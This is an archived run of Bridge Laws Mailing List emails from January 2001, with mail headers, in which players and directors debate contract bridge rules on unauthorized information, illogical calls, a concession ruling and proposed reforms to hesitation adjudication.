> > >In my view L16A is telling you what you can do after > > > > > receiving UI from > > > > > >partner, and making an illogical call is not one of the > > > > > options given. > > > > > > > > > > "What > > > > > >is not authorized is not permitted." > > > > I don't see how L16A, which is written in the negative (i.e. it tells > > you what you may not do), could be interpreted as "authorizing" a > > limited set of actions. > > Saying that you may not select a certain item out of a set (negative) is > equivalent to saying you may select anything out of the set except a certain > item (positive), isn't it? No, it isn't. If your interpretation were correct, then if my doctor told me "You may not eat red meat", I'd have to interpret it as saying I was allowed to eat only meat. > I don't see that either permits selecting from > another set. > > It's the old conundrum illustrated by a parking sign's words: > > "Parking Saturdays and Sundays 8 am to 10 pm" > > To me this means on weekends I can select any time between 8 am to 10 pm to > park, but not midnight to 8 am or 10 pm to midnight, with no parking allowed > on weekdays. To others it may say that I can park there at any time on > weekdays, since there is nothing barring that. While that is not illogical, > the policeman who writes a ticket may not think so. This is not analogous to the situation we're discussing. The parking sign is written in the positive, i.e. it tells you what you *may* do, and there are no words negative words on the sign such as NO, NOT, PROHIBITED, etc. The law we're discussing is written in the negative, telling you something you *may not* do. A better parking-sign analogy would be NO Parking Mondays 9 AM to 12 Noon (because of street sweeping). Does this sign mean that you're only allowed to park there only on Mondays? Hardly. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 14:09:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0938kb12816 for bridge-laws-outgoing; Tue, 9 Jan 2001 14:08:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0938dt12775 for ; Tue, 9 Jan 2001 14:08:39 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14Fp9D-000JDH-0B for bridge-laws@rgb.anu.edu.au; Tue, 9 Jan 2001 03:08:33 +0000 Message-ID: Date: Tue, 9 Jan 2001 03:07:18 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: [BLML] Concession MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk T954 4 W N E S AQ63 2NT#1 2S#2 K984 P 4S P P KJ3 Dbl AP AKJT8 N J7 W E #1 5/5 in minors, weak Q63 S #2 Corrected to 3S You lead the HA, 9 from partner, agreed Lavinthal position. DJ, A, 8, 2. Partner's high diamond shows an odd number. Declarer plays a spade to the ace, partner discarding, then ruffs a heart, DQ. Partner wins and plays a heart, ruffed in dummy. Declarer then plays the CK, won by partner's ace. Partner now leads a card, and without looking at it you say "Two off, we just get our trump tricks." The original hand was: T954 4 AQ63 K984 KJ3 -- AKJT8 N 962 J7 W E KT854 Q63 S AJT52 AQ8762 Q753 92 7 and the position at this moment is: T -- 63 984 KJ -- KJ N 6 -- W E T54 Q6 S JT5 Q8762 Q -- -- The card partner has led is, in fact, the DT, and the play will go [fairly obviously] ruff, over-ruff, SK, HK, three off. Should the defence get three off? This is a real hand from a match I played in tonight. A much more interesting defence to 1NT appears on RGB [no ruling involved]. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 15:43:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f094gaB17205 for bridge-laws-outgoing; Tue, 9 Jan 2001 15:42:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f094gUt17201 for ; Tue, 9 Jan 2001 15:42:31 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 8 Jan 2001 20:39:22 -0800 Message-ID: <012601c079f6$86968120$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] What is suggested ? Date: Mon, 8 Jan 2001 20:41:02 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Richard Hills wrote: ? > > Steve Willner wrote, in rebuttal to Marvin L French: > > [snip] > > Imagine after the slow penalty double > you are void in trumps and have a solid, > unbid 9-card suit. Nobody in the known > universe is passing, but you decide to > pass, and by a miracle this time (mere > good luck is not enough!) it works out > well. You still keep your score. Your > pass still was not "demonstrably > suggested," whether it was a LA or not. Yes it was, going by one of the meanings of "suggest" (introduce into a person's mind by indirect means) but the point is moot if an illogical call is an illegal call. > > [snip] > > A number of years ago, an ACBL AC adopted Marv's > position, and ruled that since leaving pard's slow penalty > double with a hand of shape and power was not a > LA, the *OS* would have their number taken away. Not understood. > > When commenting on this case in a Bridge World > editorial, Edgar Kaplan stated that the AC had used > incorrect reasoning. I would like to know the date of that editorial, if you know it. > Kaplan stated that *if* the AC deemed that the doubler > had deliberately hesitated to prevent partner pulling, > then a mere score adjustment was not appropriate, > but rather a disciplinary penalty. > I didn't think we were discussing deliberate creation of UI, indeed a matter for disciplinary action *in addition to* a possible score adjustment. The subject under discussion is whether a player can take an obviously illogical action occasioned by partner's inadvertent UI. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 17:20:44 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f096I3s17428 for bridge-laws-outgoing; Tue, 9 Jan 2001 17:18:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f096Hwt17424 for ; Tue, 9 Jan 2001 17:17:59 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id RAA16901 for ; Tue, 9 Jan 2001 17:10:52 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Tue, 09 Jan 2001 17:11:56 +0000 (EST) Subject: Re: [BLML] Concession To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Tue, 9 Jan 2001 17:14:30 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 09/01/2001 05:17:03 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: [snip] >Partner now leads a card, and without looking at it you >say "Two off, we just get our trump tricks." > > >and the position at this moment is: > > T > -- > 63 > 984 > KJ -- > KJ N 6 > -- W E T54 > Q6 S JT5 > Q8762 > Q > -- > -- > >The card partner has led is, in fact, the DT, and the >play will go [fairly obviously] ruff, over-ruff, SK, HK, >three off. > >Should the defence get three off? Obviously, West's concession showed that they were being *careless or inferior*. But is it *irrational* for the contract to be only two off? Perhaps West's concession was based on a routine cow flying by, miscounting South to hold nothing but trumps left. Acting on that assumption, West would be indifferent as to *when* they took their two trump tricks, so as TD and AC I would rule only two down. Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 19:14:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f098Cqg17650 for bridge-laws-outgoing; Tue, 9 Jan 2001 19:12:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f098Cjt17646 for ; Tue, 9 Jan 2001 19:12:46 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id JAA01459; Tue, 9 Jan 2001 09:12:38 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Tue Jan 09 09:13:57 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JYP547G4900021A3@AGRO.NL>; Tue, 09 Jan 2001 09:10:52 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Tue, 09 Jan 2001 09:06:31 +0100 Content-return: allowed Date: Tue, 09 Jan 2001 09:10:49 +0100 From: "Kooijman, A." Subject: RE: [BLML] What is suggested ? To: "'Eric Landau'" , Bridge Laws Discussion List Message-id: <67378DEA146DD21194C20000F87B08BA01B8B762@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > Nor does it say that it may not. If the lawmakers did not intend to > permit an illogical action to be taken, they would not have used the > word "logical"; they would simply have written "...may not > choose from > among alternative actions..." Which gives us a good question to ask the lawmakers: why did they (Kooijman and others) use the word 'logical' here (in 16A heading)? Which could be rephrased: why do we not prohibit any action that could have been suggested by the extraneous information? Rephrased again: Is it possible to suggest illogical actions by giving unauthorized information? May I point to 16A2 where it says: an action that could have been suggested when there was a logical alternative. Here the word logical makes sense to me. Hopefully Kooijman (or others) have the answer for this. ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 19:14:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f098CeT17644 for bridge-laws-outgoing; Tue, 9 Jan 2001 19:12:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from whale.fsr.net (root@whale.fsr.net [207.141.26.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f098CYt17640 for ; Tue, 9 Jan 2001 19:12:35 +1100 (EST) Received: from twkdckuj (ppp085.pullman.com [204.227.174.85]) by whale.fsr.net (8.9.3/8.9.3) with SMTP id AAA69399 for ; Tue, 9 Jan 2001 00:23:37 -0800 (PST) (envelope-from scardell@pullman.com) Message-Id: <3.0.32.20010109001333.00724ae0@pullman.com> X-Sender: scardell@pullman.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 09 Jan 2001 00:14:57 -0800 To: Bridge Laws From: "N. Scott Cardell" Subject: RE: [BLML] Equity or simplicity? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 03:43 PM 1/7/01 +0000, you wrote: >On Thu, 04 Jan 2001, N. Scott Cardell wrote: > >> 2) UI and MI that occur in the ordinary course of the game (such as >> because, in this thinking game someone actually paused for thought) should >> be dealt with in a way that as much as possible restores equity and avoids >> adjudicated results. The long slippery slope that the bridge laws have >> plunged down in dealing with UI and MI is an abysmal failure. >> >> I suggest the following change to the laws: >> >> 1) Institute a statute of limitations on changing the contract due to a >> hesitation in the bidding. The statute of limitation should end when the >> opening lead is made. > >This would lead to many more director calls. If no adjustment is >possible after the opening lead is made, then calls which could be >suggested by hesitation but are likely to be permitted will always have >to be questioned during the auction. I disagree. 1) In my experience, most bridge players err on the side of giving their opponents the benefit of the doubt, rarely call the director with respect to hesitations in the bidding unless the situation appears to be extreme, or the opponents have abused their benefit of the doubt in the past. I suggest that this group will only very slightly increase their director calls if my proposal is adopted. 2) On the other hand, in my experience, most director calls in hesitation situations are generated by a small minority of bridge players. And most of this minority of bridge players is motivated by the chance for a double shot, not because they believe that they have been damaged. Lacking the chance to get a double shot, I believe that this group will substantially reduce their director calls if my proposal is adopted. >Consider the auction > >(1C)-X-(2C)-..P-(P)-X-(P)-2H > >If the hesitation is established and the doubler is a decent player, >then I would expect the second double to be legitimate 95% of the time. >If dummy comes down with a minimum balanced double like KQx Kxxx Axxx >xx, the director can be called. But if dummy has a 4-4-4-1 13-count, >passing out 2C is not an LA. I would not call the director in this situation (under either set of rules). I am willing to lose some potential redress for damage if I can get back to playing bridge! >> No more calling the director after the hand has been >> played, or even after the play has begun. The same statute of limitations >> should apply to changing the contract do to misinformation, if the >> offending side is playing the contract and properly informs their opponents >> of the misexplanation at the end of the bidding. > >The TD is already required to be called at this time. He will usually >ask the opponents, "Would you have bid differently had you been >properly informed?" and if the answer is "No", then no adjustment for >MI will occur. True. However, somehow though the chronic director callers always seem to say that they might have taken some action without committing themselves, thus keeping their double shot hopes alive. >And the UI issues here may be too complex to be handled at the table. >Whether a bid is suggested by UI may depend on details of the >opponents' systen. Very rarely. This started by MI and the OS is about to play the contract. In most cases even with the correct information the OS will be playing the contract. A typical example where the NO might end up playing would be say: 1S Dbl 3S (actually limit, explained as preemptive) Pass 4S All pass Now the director (conferring with the NO individually if necessary) decides to roll the auction back to 4S and let one of the NO sacrifice in 5C. Now Perhaps one of the OS wants to bid 5S. It doesn't sound real likely to me but there could be a UI problem and the director will have to sort it out. I would bet that 99% there is no difficult UI problem after MI disclosed at the end of the bidding under these rule. (Any problem with UI affecting the play would have to be dealt with after the play of the hand, a problem that is rare now and would remain equally rare.) >> 2) When the director is called prior to the opening lead and decides that >> there has been an infraction, then director must propose the final contract >> that should have been reached without the UI (or MI). If both sides accept >> the directors choice then the hand is played in the proposed contract and >> neither side has a right to appeal. Either side may reject the proposal, >> then both sides retain their right to appeal. > >Both sides must have all the information available in order to make >this decision, and they will not have it if the logical alternatives >depend on an opponent's hand. My LA's depend on my opponent's hand????????? This sounds like an assertion that one deserves a double shot. "If spades break well for us than a 4S sacrifice is an LA." :( This can't be what is meant, but I don't see how it could mean anything else. >In addition, the TD's decision creates >extraneous information, and withdrawn calls > >For example, consider this: > >1S-(2D)-..P-(P)-2H-(3C)-AP > >Under the current rules, the hand will be played in 3C, and may or may >not be rolled back to 2D depending on whether pass is an LA to 2H. > >Under your proposal, if the TD rules that the 2H bid stands, the >overcaller needs to decide whether to jeopardize his rights by >challenging the bid with no idea whether the bid was clear or not. He has the director's opinion. >And if the TD rules that the contract is adjusted to 2D, all three >players now know about the withdrawn 2H and 3C bids, and that the 2H >bid was marginal. If you make this UI to the offenders and AI to the >non-offenders, then the overcaller gains a significant advantage, True. But he still has to play bridge to achieve any advantage. If I where on the other side I would much rather give him this advantage then deal with his argument after the fact that "of course" he would have found the right play. If he uses the AI to find a trump squeeze than more power to him. But only a fraction of those who where awarded such results by the TD or AC will ever actually find them at the table! >and opener's partner will spend more time figure out his ethical problems >than deciding what to lead. Unless he has a 100% clear heart lead he doesn't lead a heart. If the UI of the possible 3C suggest that a club ruff is possible then he doesn't lead a club. It doesn't really sound that hard. BTW I think that it would be best to call the director as soon as the 2H bid is made, if one is going to call the director at all. And I would even be willing to make the 3C AI to everyone if that isn't followed. >I would trust a committee more than the players to determine a likely >result in 2D in this situation. I couldn't disagree more. The committee isn't even trying to determine the most likely result. Besides which the committee can never account for all the unexpected things that happen at the table. Scott -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 19:20:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f098KLF17687 for bridge-laws-outgoing; Tue, 9 Jan 2001 19:20:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f098KEt17683 for ; Tue, 9 Jan 2001 19:20:15 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id JAA31950; Tue, 9 Jan 2001 09:19:55 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Tue Jan 09 09:22:20 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JYP5EEIM300021A4@AGRO.NL>; Tue, 09 Jan 2001 09:19:05 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Tue, 09 Jan 2001 09:14:44 +0100 Content-return: allowed Date: Tue, 09 Jan 2001 09:18:57 +0100 From: "Kooijman, A." Subject: RE: [BLML] What is suggested ? To: "'Steve Willner'" , bridge-laws@rgb.anu.edu.au Message-id: <67378DEA146DD21194C20000F87B08BA01B8B763@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > > From: richard.hills@immi.gov.au > > Kaplan stated that *if* the AC deemed that the doubler > > had deliberately hesitated to prevent partner pulling, > > then a mere score adjustment was not appropriate, > > but rather a disciplinary penalty. Language, language. I don't read this statement given by Edgar K. as Richard does. To me he wanted to say that just giving a score adjustment is not enough in this case. Of course L16 applies in such a case (you know this to be my very personal opinion, I wasn't there when Edgar made this remark). > > Of course there's the little matter of burden of proof for a C&E > action, but as Kaplan said, there is no case for adjustment under L16A > or 73C. > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 19:45:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f098iee17749 for bridge-laws-outgoing; Tue, 9 Jan 2001 19:44:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f098iXt17745 for ; Tue, 9 Jan 2001 19:44:33 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id JAA30497; Tue, 9 Jan 2001 09:44:26 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Tue Jan 09 09:47:00 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JYP6ACMOE60020XB@AGRO.NL>; Tue, 09 Jan 2001 09:44:04 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Tue, 09 Jan 2001 09:39:43 +0100 Content-return: allowed Date: Tue, 09 Jan 2001 09:43:58 +0100 From: "Kooijman, A." Subject: RE: [BLML] What is suggested ? To: "'Adam Beneschan'" , Bridge Laws Message-id: <67378DEA146DD21194C20000F87B08BA01B8B764@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > Ed Reppert wrote: > > > Further, the definition of correct procedure does > > *not* prohibit illogical calls. So they are permitted - > provided they > > are not "demonstrably suggested" (that would be a good trick) by UI. > > I don't think it's hard to come up with an "illogical" call that's > demonstrably suggested by UI. You open 1NT. Partner responds 3NT. > Now I think everyone would agree that a 6NT rebid by you is an > illogical call. > > But suppose you open 1NT (15-17) with a 17-count, and partner > announces this as "8-10" (this is the ACBL). Partner responds 3NT. > You know from the UI that partner has a hand that he expects to make > game opposite an 8-10 count, so he has to have right around 17 HCP. > So a 6NT rebid here would be demonstrably suggested by the UI. > > Of course, one could argue that in this context, 6NT is not > "illogical", since it would be logical to bid it if you were allowed > to take advantage of the UI. However, when I tried to argue this way > on BLML many years ago, the consensus was that "illogical" means in > the context of the auction alone, with the UI not being part of the > context. Many years ago I wasn't here. But this discussion suports my idea that the word 'logical' should be used for the not chosen call being available (16A2). Pass is a logical alternative here. And 6NT certainly is suggested by the extraneous information. The question whether it is logical or not is irrelevant. Let us have the following situation: north opens 1NT and south explains this as 15-17 and bids 3NT. North gets angry, this is the 11th time in three weeks that his partner forgets they play 8-10 non-vulnerable. He now bids 6NT prepared to tell that he thought to be forced to do so from an ethical point of view, mixing up things. The impossible thing happens (I know this to be crazy, but you might construct a possible situation yourself, we had something similar some time ago) and 6NT makes. There is no basis in L16 to adjust the score, since 6NT is not demonstrably suggested by the misexplanation (to use Kaplan terminology: 6NT is subsequent, not consequent). I know that some of us want to take away such an advantage or give redress for the damage but we have to find a non existing law for that. So 6NT is considered an illogical bid, but it's demonstrably > suggested by the UI. QED. > > -- Adam > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 19:46:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f098k7I17765 for bridge-laws-outgoing; Tue, 9 Jan 2001 19:46:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f098k0t17759 for ; Tue, 9 Jan 2001 19:46:00 +1100 (EST) Received: from hirschd (user-vcaug2n.dsl.mindspring.com [216.175.64.87]) by smtp10.atl.mindspring.net (8.9.3/8.8.5) with SMTP id DAA16849 for ; Tue, 9 Jan 2001 03:45:55 -0500 (EST) Message-ID: <005e01c07a18$92ed4180$0200000a@mindspring.com> From: "Hirsch Davis" To: "BLML" References: Subject: Re: [BLML] What is suggested ? Date: Tue, 9 Jan 2001 03:45:52 -0500 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: To: Sent: Monday, January 08, 2001 6:03 PM Subject: Re: [BLML] What is suggested ? > > A number of years ago, an ACBL AC adopted Marv's > position, and ruled that since leaving pard's slow penalty > double with a hand of shape and power was not a > LA, the *OS* would have their number taken away. > I'm pretty sure I know this particular Bridge World editiorial very well indeed. Actually, it was not an AC, but the Chief Director who made this ruling, in consultation with a top player (Steve Robinson, who was the real author of the ruling, and wrote the response that appeared in the Bridge World). The ruling was that pass did not meet the criterion of being a 70% action (ACBL criterion for LA that could be taken even if suggested by UI at the time), and was therefore disallowed. Robinson had conducted a poll among other players in the room, and determined that it was pretty evenly divided between pass and pull among local experts. There was *no* 70% action, so it's not clear just what the player was expected to bid. > When commenting on this case in a Bridge World > editorial, Edgar Kaplan stated that the AC had used > incorrect reasoning. It was a TD, but he was right. The floor TD had ruled that the double was not indicated by the UI, and let the score stand. He then went over to discuss the ruling the the Chief Director. The Chief TD, after consultation with Robinson, overturned the ruling and gave something completely weird (IIRC A+/A-). I was the TD who was overruled, and had to deliver that abomination of a ruling back to the players. I informed the players of their right to appeal, but it was a KO which they won, so they didn't bother. > Kaplan stated that *if* the AC deemed that the doubler > had deliberately hesitated to prevent partner pulling, > then a mere score adjustment was not appropriate, > but rather a disciplinary penalty. > Exactly right, however, it was not an issue in this particular case. > Best wishes > > R > Regards, Hirsch -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 20:28:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f099Rbv17868 for bridge-laws-outgoing; Tue, 9 Jan 2001 20:27:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f099RUt17864 for ; Tue, 9 Jan 2001 20:27:31 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id KAA11783; Tue, 9 Jan 2001 10:23:15 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id KAA09380; Tue, 9 Jan 2001 10:27:19 +0100 (MET) for Message-Id: <3.0.6.32.20010109103924.008124e0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 09 Jan 2001 10:39:24 +0100 To: "John R. Mayne" From: alain gottcheiner Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] Cc: Bridge Laws Mailing List In-Reply-To: <3A5A6B69.3FA6BD7F@mindspring.com> References: <200101082201.OAA31270@mailhub.irvine.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 17:37 8/01/01 -0800, John R. Mayne wrote: > >A second problem exists. Suppose I deliberately arrange to receive the >hand records of the day's events prior to those events taking place, and >thus receive illicit information. I then play and use the information >culled from the hand records to maximize my results. > >What law(s) have I broken? > Law 6D1 : you saw somebody else's cards before the deal began and didn't mention it. (9B1a) Law 72A1 : this law is nearly always infringed when you do something irregular. Law 16B says what the director should do if this happens. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 20:31:54 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f099VYP17889 for bridge-laws-outgoing; Tue, 9 Jan 2001 20:31:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f099VRt17885 for ; Tue, 9 Jan 2001 20:31:28 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id KAA17981; Tue, 9 Jan 2001 10:28:51 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id KAA11964; Tue, 9 Jan 2001 10:31:13 +0100 (MET) for Message-Id: <3.0.6.32.20010109104318.0080a9c0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 09 Jan 2001 10:43:18 +0100 To: "Marvin L. French" , , From: alain gottcheiner Subject: Re: [BLML] Equity or simplicity? In-Reply-To: <006001c079b1$32631360$56991e18@san.rr.com> References: <67378DEA146DD21194C20000F87B08BA01B8B75B@fdwag002s.fd.agro.nl> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 12:18 8/01/01 -0800, Marvin L. French wrote: > >Unless we want to coin new words, we are forced to use existing words in new >ways within the bridge community. A bridge goes over a river, a pass lets one >out on liberty or gets one into a performance, and a double is a look-alike, >but those words have been given new meanings in the game of bridge in >preference to coining new words. AG : Yep ! And you won't hurt anybody by slamming him with the Ace of Clubs ... Well, let's call a spade a spade, shall we ? >What I mean by "justice" in the game of bridge is the creation and application >of laws that correct unacceptable actions in ways that are easy to understand, >easy to apply, provide adequate deterrence, and have duplicatable resolutions >(by which I mean the same infraction will incur the same penalty no matter who >is the TD or who is on the AC). One result of such justice is that offenders >get penalized in identical ways when they cause 